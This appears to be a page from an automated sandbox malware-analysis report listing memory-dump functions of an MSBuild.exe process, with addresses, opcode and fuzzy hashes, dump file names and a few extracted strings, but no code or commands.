Opcode ID: c3d7f7c320bada26f8b2a4e4da32197c21a4abf0e489e79199c34bb9957ccbce
Instruction ID: 4363969dc60df1d79f87b6bbdcea3095f8f32c45982a13bbc5604c1c20702363
Opcode Fuzzy Hash: c3d7f7c320bada26f8b2a4e4da32197c21a4abf0e489e79199c34bb9957ccbce
Instruction Fuzzy Hash: F921F171500200DFDB05DF98D9C0B2ABFA5FBA8718F2081BDE9494B256C336D456CBE2

Function 07071EA9 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2961426208.0000000007070000.00000040.00000800.00020000.00000000.sdmp, Offset: 07070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7070000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 74bd268947167d9ed4edb51fd44bfb17f9f7b332347f0edbbc707c2b4a65427e
Instruction ID: debed8abd37c16d2f5bebd978a96b10af0802791301adddd716cb63ffee81d64
Opcode Fuzzy Hash: 74bd268947167d9ed4edb51fd44bfb17f9f7b332347f0edbbc707c2b4a65427e
Instruction Fuzzy Hash: 33312DB1E0010A9FDF44CFA9C800AEEBBB2FF88310F14852AE915B7250DB359952DF51

Function 07071EB8 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2961426208.0000000007070000.00000040.00000800.00020000.00000000.sdmp, Offset: 07070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7070000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0f9d1e4e150574cbfc0d4c43fdf1210fedfabb06f41d0604f00002762e942d24
Instruction ID: 6a4f121c42c23efefada4e57a8f7033cf7e61042e2918bac4dca9dbbf72a5697
Opcode Fuzzy Hash: 0f9d1e4e150574cbfc0d4c43fdf1210fedfabb06f41d0604f00002762e942d24
Instruction Fuzzy Hash: 85312FB1E0010A9FDF44CFA9C840ADEBBB2FF88310F14C52AE915B7250DB359952DB61

Function 010DD208 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2915964730.00000000010DD000.00000040.00000800.00020000.00000000.sdmp, Offset: 010DD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_10dd000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9e20236b1cca79aa1941acf70364cf89e5443e22ddc65ba444f0c30a3c2055b4
Instruction ID: a52716bc7442079cd43184d275cffcca92d0c8a87371bc09da9ba6b81911f3fa
Opcode Fuzzy Hash: 9e20236b1cca79aa1941acf70364cf89e5443e22ddc65ba444f0c30a3c2055b4
Instruction Fuzzy Hash: 13212671504344DFDB01DF98D984B3ABBA5FB94334F20C6ADE8894B286C33AD446CB61

Function 010DD3B8 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2915964730.00000000010DD000.00000040.00000800.00020000.00000000.sdmp, Offset: 010DD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_10dd000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f6c8aa4fd650e8072ff0080940f6103fd472b45637f2fccc707851b14a137677
Instruction ID: 99e708d1f663cdff281f1d83e3b263a6097af16cb8aee991c55022bdded4cc2b
Opcode Fuzzy Hash: f6c8aa4fd650e8072ff0080940f6103fd472b45637f2fccc707851b14a137677
Instruction Fuzzy Hash: 07214671500300DFCB01DF58D5C0B6ABBA5FB88314F20C5ADE98A4B296CB76E446CB61

Function 010DD674 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2915964730.00000000010DD000.00000040.00000800.00020000.00000000.sdmp, Offset: 010DD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_10dd000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 885b39ae6f40829ae562d17394ba53221c21c2296906acb91248db8787b90eff
Instruction ID: f2a90be145b7567988c7aba3261d9c1653b6cecf29637b4abac27a9c569f0eee
Opcode Fuzzy Hash: 885b39ae6f40829ae562d17394ba53221c21c2296906acb91248db8787b90eff
Instruction Fuzzy Hash: C0212275500340EFCB05DFA8C5C0B2ABFA5FB88314F20C5ADD8894B296C336D446CBA1

Function 02D2FE28 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2920962942.0000000002D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2d20000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf8113aa0fe9ed1d8c994994850610d3e50a91969db18c857031f9ea4b4511e8
Instruction ID: 175c1bc61130ac0ddccd0a28963598c00fb6583ed01c65ae683a26cbbfca7d04
Opcode Fuzzy Hash: bf8113aa0fe9ed1d8c994994850610d3e50a91969db18c857031f9ea4b4511e8
Instruction Fuzzy Hash: F1218E312047514FC712EF3DE9A098ABFE1EF863147048A6AE4858B626E770E94D8B95

Function 07077069 Relevance: .1, Instructions: 66COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2961426208.0000000007070000.00000040.00000800.00020000.00000000.sdmp, Offset: 07070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7070000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ed604d0fe19f77e547707be8cb74d57e8feb607b4f4c2c7aa137de11802defc
Instruction ID: 8e9b21da2d8ed8b51417099030b64613e69819afc091e7877b22193ee79680e2
Opcode Fuzzy Hash: 4ed604d0fe19f77e547707be8cb74d57e8feb607b4f4c2c7aa137de11802defc
Instruction Fuzzy Hash: E021AFB1D00249CBDB64DFA1D9456EEBBB1BF85300F20966AC805B7254DB341A8ACF40

Function 08102D99 Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2964571541.0000000008100000.00000040.00000800.00020000.00000000.sdmp, Offset: 08100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_8100000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e11c1d3efbac94142665a9fae1ff0151a51dc9c0078956574d6b551f7d9e5a61
Instruction ID: f7bf75ccf1d6a602a72c855588317449c18a8ff6ac72f1e86222d4d6fb2ece3c
Opcode Fuzzy Hash: e11c1d3efbac94142665a9fae1ff0151a51dc9c0078956574d6b551f7d9e5a61
Instruction Fuzzy Hash: 7C11D375E002199FCB05DFA8D9509EEBBB1AF89310F11456AD815B7360CB346E04CBA1

Function 010CD60F Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2915645447.00000000010CD000.00000040.00000800.00020000.00000000.sdmp, Offset: 010CD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_10cd000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c7c8d58dc0dea2b6e01ffeb94055e7b182a7219ccea2c20f3472bf21e95a7b9d
Instruction ID: a7c58a826ad2fd6ded564572d6a7f03387c38d49701dca251650d31641e57199
Opcode Fuzzy Hash: c7c8d58dc0dea2b6e01ffeb94055e7b182a7219ccea2c20f3472bf21e95a7b9d
Instruction Fuzzy Hash: 8221CD76504280DFCB06CF44D9C4B1ABFB2FB88314F24C6A9D9880A656C33AD426CF91

Function 010CD4D3 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2915645447.00000000010CD000.00000040.00000800.00020000.00000000.sdmp, Offset: 010CD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_10cd000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 201b50b495cf87aa99c5283e85c62261d36f592a674eeeb3b47fc5aac64b1fd2
Instruction ID: e59e3d47133de17a0ca2b229e9af640726fe9f63c272f46b14d6def3f03386bc
Opcode Fuzzy Hash: 201b50b495cf87aa99c5283e85c62261d36f592a674eeeb3b47fc5aac64b1fd2
Instruction Fuzzy Hash: F711CD76504240CFCB02CF44D9C4B1ABFA1FB94218F2482ADD9490A256C33AD45ACBA1

Function 02D2AF08 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2920962942.0000000002D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2d20000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a7c9bdfeb88dc16c578d110954d5ea83b6199048cd8de144441bf95e1795423d
Instruction ID: 0b3d583b83622e226479b3e314fbf46a0eec7f8837882caff211a9a6896d332f
Opcode Fuzzy Hash: a7c9bdfeb88dc16c578d110954d5ea83b6199048cd8de144441bf95e1795423d
Instruction Fuzzy Hash: D4111FB5E142198BCB04DF58C8849AEFBB2FF9A305F14A114E419AB395D734EC46CB54

Function 0707FAD8 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2961426208.0000000007070000.00000040.00000800.00020000.00000000.sdmp, Offset: 07070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7070000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 944d97e875735ff72a9f516b3b0ba27e766d5aefd1f07fee35320712311e14a2
Instruction ID: 44315b61778c8098e1a9a48b1e8924386942256633ef49b1802a702518bf09fa
Opcode Fuzzy Hash: 944d97e875735ff72a9f516b3b0ba27e766d5aefd1f07fee35320712311e14a2
Instruction Fuzzy Hash: D2212CB4E0020A9FCB40EFA8D844AAEBBF5FF48710F108525D414A7354DB34BA41CF95

Function 0707FBC7 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2961426208.0000000007070000.00000040.00000800.00020000.00000000.sdmp, Offset: 07070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7070000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d5ec3437e1cf825d4ed8f9dc6eef445032257ba6ec48f5f45be4996cd1f5e241
Instruction ID: 270dc5f182def2c8c993dbab6e78b4822da9cdd2de1d1826a427a9d0fa20f760
Opcode Fuzzy Hash: d5ec3437e1cf825d4ed8f9dc6eef445032257ba6ec48f5f45be4996cd1f5e241
Instruction Fuzzy Hash: C8112EB5D04649CBDB18CFABD9412ADFBB3BF89300F14C2A9D418AB255DB3069828F54

Function 07076FB9 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2961426208.0000000007070000.00000040.00000800.00020000.00000000.sdmp, Offset: 07070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7070000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 143e51b0fb9d74aa5e95df54bc264f71cd08adacfe6bd65e0fbdc29b37ed4a78
Instruction ID: 4261aea20c109506022f3f020957ece62b56d670288005f3ff4f1043e7ce52c2
Opcode Fuzzy Hash: 143e51b0fb9d74aa5e95df54bc264f71cd08adacfe6bd65e0fbdc29b37ed4a78
Instruction Fuzzy Hash: 5E1132B5D002099FCB40DFBCC884AAEBBB0BF05315F159299E018E7242D734EA80CF98

Function 010DD203 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2915964730.00000000010DD000.00000040.00000800.00020000.00000000.sdmp, Offset: 010DD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_10dd000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72d23902bf60047e6ac5528eaef86f122a9a091f4bdaa5726a35430d0a81cb07
Instruction ID: 18558d178b6f949076a85e34ee7137a563c140e05da6e68be8e2263560869a00
Opcode Fuzzy Hash: 72d23902bf60047e6ac5528eaef86f122a9a091f4bdaa5726a35430d0a81cb07
Instruction Fuzzy Hash: 33119075504384CFDB12CF54D5C4B25BFA1FB94324F24C6AAD8494B696C33AD44ACB91

Function 010DD66F Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2915964730.00000000010DD000.00000040.00000800.00020000.00000000.sdmp, Offset: 010DD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_10dd000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 48042a67946fd5b471a152cae87ddc5a96e5ad52caa5f07da488830fbc7c129d
Instruction ID: 859f407603f54cc86fac432c863b40acb6279e1ffc3fe58e069733dc7ed08d6f
Opcode Fuzzy Hash: 48042a67946fd5b471a152cae87ddc5a96e5ad52caa5f07da488830fbc7c129d
Instruction Fuzzy Hash: E811BB79504380CFDB06CF54C5C4B15BFA1FB88314F24C6EAD8894B296C33AD40ACB61

Function 010DD3B3 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2915964730.00000000010DD000.00000040.00000800.00020000.00000000.sdmp, Offset: 010DD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_10dd000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 48042a67946fd5b471a152cae87ddc5a96e5ad52caa5f07da488830fbc7c129d
Instruction ID: cb3b9aedd62cb8cbf2b37e3fbae38b1e846a72964da1c24398260e76f23252ea
Opcode Fuzzy Hash: 48042a67946fd5b471a152cae87ddc5a96e5ad52caa5f07da488830fbc7c129d
Instruction Fuzzy Hash: A611BB75504380CFDB02CF54D5C4B55BFA1FB84314F24C6AAD9894B296C33AE40ACB61

Function 08102DA8 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2964571541.0000000008100000.00000040.00000800.00020000.00000000.sdmp, Offset: 08100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_8100000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e3271bdfaa8c6ed873aa252895e8dfd1ea044e38d22b7bb459a7ed48840b89ed
Instruction ID: de54a89ba5c0d75e4f372f084c9dcba019dd1c93f2cf75bfaff49975257612ba
Opcode Fuzzy Hash: e3271bdfaa8c6ed873aa252895e8dfd1ea044e38d22b7bb459a7ed48840b89ed
Instruction Fuzzy Hash: 6B11A2B5E001199FCB44EFA8D9549EEBBB1BF89211F10456AD915B7350CB346E00CBA1

Function 07076FC8 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2961426208.0000000007070000.00000040.00000800.00020000.00000000.sdmp, Offset: 07070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7070000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e4b8df952e0ecd9c7edbdae7fc53a87e031edf49fb429aba3aef9fa3081bdd10
Instruction ID: 8c7d6d9ba7f1996f38397bc9a93cef8f3f0acb6dd6883e9b22bf2292216f1ea5
Opcode Fuzzy Hash: e4b8df952e0ecd9c7edbdae7fc53a87e031edf49fb429aba3aef9fa3081bdd10
Instruction Fuzzy Hash: 6611F2B4D012099BCB40EFBCD484A9EBBB5BF05315F159294E018E7646DB34EA80CF98

Function 02D2FE58 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2920962942.0000000002D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2d20000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ccf5af46ea9b32394c6c8b99e35a08a19d48e4430073ea7808c34e13c9be4bb8
Instruction ID: 0b3ea34ddee83968a7d12fd125579c299f4929989a7d56d0d58980005b09cad7
Opcode Fuzzy Hash: ccf5af46ea9b32394c6c8b99e35a08a19d48e4430073ea7808c34e13c9be4bb8
Instruction Fuzzy Hash: 9F01E1312007058FC725DF29E94498BBBE6FF853507008B29E45A8B725EB70FD498B90

Function 0707E78B Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2961426208.0000000007070000.00000040.00000800.00020000.00000000.sdmp, Offset: 07070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7070000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ebcc234366e8e02e92e947989b6d0d4884d37826b4ea05bea854d41a99a89a16
Instruction ID: 654cacf3d37304255f69863821ce316a5a20cc802bfa329b0b351670bf19e0f9
Opcode Fuzzy Hash: ebcc234366e8e02e92e947989b6d0d4884d37826b4ea05bea854d41a99a89a16
Instruction Fuzzy Hash: 4F012974D02114DBCB50EF68E88859DBB71FF86311F01A295E149AB245CB34A9D4CF59

Function 02D2EDF0 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2920962942.0000000002D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2d20000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c7f9719836f5592d2305f3f054dbdb3f2730a718d2d892237b85f9ec4408e7fb
Instruction ID: 44296f8c1e7cd396958466c3d74e490a46e4547ce68320390bc9b09f5b3d82b5
Opcode Fuzzy Hash: c7f9719836f5592d2305f3f054dbdb3f2730a718d2d892237b85f9ec4408e7fb
Instruction Fuzzy Hash: 82015671D0024ACFEB14CFAAD8542AEFBF1AF84308F14D42AD955A2250EB381A46CB41

Function 08102B6E Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2964571541.0000000008100000.00000040.00000800.00020000.00000000.sdmp, Offset: 08100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_8100000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 359af6fee64a57beaef17aa20ef69f548378101d268183db04cb1054e36a63c0
Instruction ID: 6009e996c9858ed4bdd18ade95d7ebff20e324ddd79b9926fa9fdcdedd8bf654
Opcode Fuzzy Hash: 359af6fee64a57beaef17aa20ef69f548378101d268183db04cb1054e36a63c0
Instruction Fuzzy Hash: 0D11A274D01228CFEB25DF69CD48BEDBBB1BF49301F10519AD849A7280CB741A90CF51

Function 02D2AF52 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2920962942.0000000002D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2d20000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fe07c40619ad1885034e4cc991837f74b4a6b151c5b0b4270947948a6d30fac6
Instruction ID: 8cde45dea7efdedbef12af509f47d08ea85cca3efe99a9764d718f0947fc4e3d
Opcode Fuzzy Hash: fe07c40619ad1885034e4cc991837f74b4a6b151c5b0b4270947948a6d30fac6
Instruction Fuzzy Hash: CFF01DB5E042198FC700DFA8D4889ADBBB2FF5A704F106558E00AAB395C730EC85CF55

Function 02D2EFD8 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2920962942.0000000002D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2d20000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 21d0af2d9fc704dab147914f9f5a0828f06ea65912869f094fc2ae1bf6008471
Instruction ID: af90beb76292fefb97943a1700b203649256e28376a2ac34fcdb7126e16f3247
Opcode Fuzzy Hash: 21d0af2d9fc704dab147914f9f5a0828f06ea65912869f094fc2ae1bf6008471
Instruction Fuzzy Hash: C2E02B30D011058FCB518FA4D5083FEF3B1EF86305F449419D08472A45DB798519CF92

Function 02D2AFC3 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2920962942.0000000002D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2d20000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 94559ad6a4bfbfc53139a9e0bf609e9e894d34a3d2d42f3629570eb0c2464314
Instruction ID: 41b2ae0f347e1eb82a48baa87ae6614b7be9730503be49a5b3aee31d60e73535
Opcode Fuzzy Hash: 94559ad6a4bfbfc53139a9e0bf609e9e894d34a3d2d42f3629570eb0c2464314
Instruction Fuzzy Hash: 7AF0A071901208EFC780EFA9E84579CBBB1FF40308F10C1A9D844A3354EB305E48CB91

Function 02D2EFE8 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2920962942.0000000002D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2d20000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a606f98843856c911bccee63893b51d2b7eefef01d8f51134a0767f6e9abbc53
Instruction ID: 833899df41427a2ec63b85b752d890ad5e00cf6f44be4bd8f9c74e2ca6540e18
Opcode Fuzzy Hash: a606f98843856c911bccee63893b51d2b7eefef01d8f51134a0767f6e9abbc53
Instruction Fuzzy Hash: FDE02630D012088BCB009FAAE9083FEF3B4EB8B315F40A424D50463640DFB94A1ACF91

Function 07072C49 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2961426208.0000000007070000.00000040.00000800.00020000.00000000.sdmp, Offset: 07070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7070000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 88ea223f07e8689f74ae9f7576b05275b30c28051fb24c38f2a45b0e86c3611d
Instruction ID: b1b267d78afe080f4613a4a1a3c45b116ceedac94e99687b81d5a13137685ff9
Opcode Fuzzy Hash: 88ea223f07e8689f74ae9f7576b05275b30c28051fb24c38f2a45b0e86c3611d
Instruction Fuzzy Hash: 21F015B0D05209AFC754DFA9D94569DBBF4AB48311F0482AA9848A3250EB389A44CF51

Function 02D2AFD0 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2920962942.0000000002D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2d20000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ad43fc49a7d317a495a6a8d1389987ef22af9bf7107b9f4932f83f9c5e9cdae0
Instruction ID: 4bcdcd3b74ed32d0d648faeb6a7828c355d7db24410909aa6cbc097822a29752
Opcode Fuzzy Hash: ad43fc49a7d317a495a6a8d1389987ef22af9bf7107b9f4932f83f9c5e9cdae0
Instruction Fuzzy Hash: 75E06D70D02209EFC740EBA9E54469CBBB1EF44304F10C1A9D808A3254EB305A49CB51

Function 0707FEF8 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2961426208.0000000007070000.00000040.00000800.00020000.00000000.sdmp, Offset: 07070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7070000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f391b570f95016aa33504c86b7520b44c1091dedb0077a23519d877e5d182f50
Instruction ID: c8a5f8ba80c23fb9446f9cc60959db66a06a38cd8b3e6b83bb041b79531c133b
Opcode Fuzzy Hash: f391b570f95016aa33504c86b7520b44c1091dedb0077a23519d877e5d182f50
Instruction Fuzzy Hash: C4E09AB0D1910ACBD710DFA8D4846ADBBB5BF07304F155604D016A7646C774B482CB59

Function 0707FF0D Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2961426208.0000000007070000.00000040.00000800.00020000.00000000.sdmp, Offset: 07070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7070000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e8f7f020525adbe2d46d293845665b0c4247531e1e59e5ef1151ffb8503c329
Instruction ID: 86aff1096c2d1fb61a8c5f3f1191b3722560b7939e96ba50c82bfdd6651124d7
Opcode Fuzzy Hash: 4e8f7f020525adbe2d46d293845665b0c4247531e1e59e5ef1151ffb8503c329
Instruction Fuzzy Hash: DFE04FB4D1810ACBC720DF68D8845ADBB71FF47300F146644D006AB246C7B0F4C1CB09

Function 07072C58 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2961426208.0000000007070000.00000040.00000800.00020000.00000000.sdmp, Offset: 07070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7070000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ecc55f634ba60b052f43fdc62594947c20f9b8650e54f43837311011e4c1443
Instruction ID: 20ad345ebab92084995ff6624eb7d9f0826787530e7b7e2953522b0a667979e9
Opcode Fuzzy Hash: 9ecc55f634ba60b052f43fdc62594947c20f9b8650e54f43837311011e4c1443
Instruction Fuzzy Hash: D2E0E570E01209EFCB94DFA9D50969CBBF0AF48310F00C1AA9818A3750EB385A04CF41

Non-executed Functions

Function 0707BBA9 Relevance: .1, Instructions: 102COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2961426208.0000000007070000.00000040.00000800.00020000.00000000.sdmp, Offset: 07070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7070000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f3ba59718e1d6a9cef73cef7389e1dff7a3e6da6a77de9626564c4b00cc61ffe
Instruction ID: ac8f73b3d690da7213f2caae0f5794aacd1955ff28c714334500aed01a6f149f
Opcode Fuzzy Hash: f3ba59718e1d6a9cef73cef7389e1dff7a3e6da6a77de9626564c4b00cc61ffe
Instruction Fuzzy Hash: E44115B5E012099FCB04DFA8E9846DDBBB5BF49310F24926AE408A7395DB30AD85CF54

Function 0707BBF1 Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2961426208.0000000007070000.00000040.00000800.00020000.00000000.sdmp, Offset: 07070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7070000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c348a89caaa47d63649011a0766725be1c430fdb7e375a1cb85b534092812fc0
Instruction ID: 3a51a4a3a198870573a8281060b5bcc1a12852ed13ab362829a034f48ad023b4
Opcode Fuzzy Hash: c348a89caaa47d63649011a0766725be1c430fdb7e375a1cb85b534092812fc0
Instruction Fuzzy Hash: 8A31F2B5E012099FCB44DFA8E984AEDBBF6FF88310F149629E415A7354DB30A841CB54

Function 0707BC00 Relevance: .1, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2961426208.0000000007070000.00000040.00000800.00020000.00000000.sdmp, Offset: 07070000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7070000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 58806a9052764d9e909cef7aaccc9f18c0bec6dd51f45a85ebf5d3c3f4b41cd5
Instruction ID: 01ea96191be2bcad3bd54e6d971083c99cea2779ca8ddddd272604b85aad9014
Opcode Fuzzy Hash: 58806a9052764d9e909cef7aaccc9f18c0bec6dd51f45a85ebf5d3c3f4b41cd5
Instruction Fuzzy Hash: CB31F3B4E012099FCB04EFA8D984ADDBBF6FF48310F149629E418A7354DB70AC41CB54

Function 0734FBB1 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2961811963.0000000007340000.00000040.00000800.00020000.00000000.sdmp, Offset: 07340000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7340000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 35859cbfed91366dec8a115440b56b58ac4f9efe7c324fd3aafde44075b46a2c
Instruction ID: 1af6280983992f0769c8fd3d61317f189896bfcfe886926faa514c1a6da90ab4
Opcode Fuzzy Hash: 35859cbfed91366dec8a115440b56b58ac4f9efe7c324fd3aafde44075b46a2c
Instruction Fuzzy Hash: 59E092B0C5910FCAEB289F90C1507FFFABCAB46204F285845880A73240CB709A45CB55

Analysis Process: MSBuild.exePID: 340, Parent PID: 6880COMMON

Executed Functions

Function 00F015E0 Relevance: 9.2, Strings: 6, Instructions: 1717COMMON

Download Yara Rule

Strings

*JL6, xrefs: 00F02240
I0=, xrefs: 00F01F14
S3., xrefs: 00F026D4
@^#, xrefs: 00F028FC
:hW`, xrefs: 00F02055
WG#`, xrefs: 00F018E8

Memory Dump Source

Source File: 00000011.00000002.2661814410.0000000000F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F00000, based on PE: false

Joe Sandbox IDA Plugin

